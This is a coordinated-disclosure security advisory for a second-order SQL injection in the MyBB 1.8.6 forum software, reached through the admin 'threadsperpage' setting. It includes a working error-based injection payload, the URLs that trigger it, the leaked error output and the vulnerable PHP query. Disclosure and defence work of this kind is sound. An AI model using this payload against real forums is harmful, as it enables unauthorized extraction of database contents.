MyBB 1.8.6 SQL Injection

Credit: Curesec
Risk: Medium
Local: No
Remote: Yes

Security Advisory - Curesec Research Team 1. Introduction Affected Product: MyBB 1.8.6 Fixed in: 1.8.7 Fixed Version Link: Vendor Website: Vulnerability Type: SQL Injection Remote Exploitable: Yes Reported to vendor: 01/29/2016 Disclosed to public: 09/15/2016 Release mode: Coordinated Release CVE: n/a Credits Tim Coen of Curesec GmbH 2. Overview MyBB is forum software written in PHP. In version 1.8.6, it is vulnerable to a second order SQL injection by an authenticated admin user, allowing the extraction of data from the database. 3. Details Description CVSS: Medium 6.0 AV:N/AC:M/Au:S/C:P/I:P/A:P The setting threadsperpage is vulnerable to second order error based SQL injection. An admin account is needed to change this setting. The injection takes place into a LIMIT clause, and the query also uses ORDER BY, making an injection of UNION ALL not possible, but it is still possibly to extract information. Proof of Concept Go to the settings page: http://localhost/mybb_1806/Upload/admin/index.php?module=config-settings&action=change&gid=7 For Setting "threadsperpage" use: 20 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); Visit a forum to trigger injected code: http://localhost/mybb_1806/Upload/forumdisplay.php?fid=3 The result will be: SQL Error: 1105 - XPATH syntax error: ':5.5.33-1' Query: SELECT t.*, (t.totalratings/t.numratings) AS averagerating, t.username AS threadusername, u.username FROM mybb_threads t LEFT JOIN mybb_users u ON (u.uid = t.uid) WHERE t.fid='3' AND t.visible IN (-1,0,1) ORDER BY t.sticky DESC, t.lastpost desc LIMIT 0, 20 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); Code forumdisplay.php $perpage = $mybb->settings['threadsperpage']; [...] $query = $db->query(" SELECT t.*, {$ratingadd}t.username AS threadusername, u.username FROM ".TABLE_PREFIX."threads t LEFT JOIN ".TABLE_PREFIX."users u ON (u.uid = t.uid) WHERE t.fid='$fid' $tuseronly $tvisibleonly $datecutsql2 $prefixsql2 ORDER BY t.sticky DESC, {$t}{$sortfield} $sortordernow $sortfield2 LIMIT $start, $perpage "); 4. Solution To mitigate this issue please upgrade at least to version 1.8.7: Please note that a newer version might already be available. 5. Report Timeline 01/29/2016 Informed Vendor about Issue 02/26/2016 Vendor requests more time 03/11/2016 Vendor releases fix 09/15/2016 Disclosed to public Blog Reference: -- blog: tweet: Curesec GmbH


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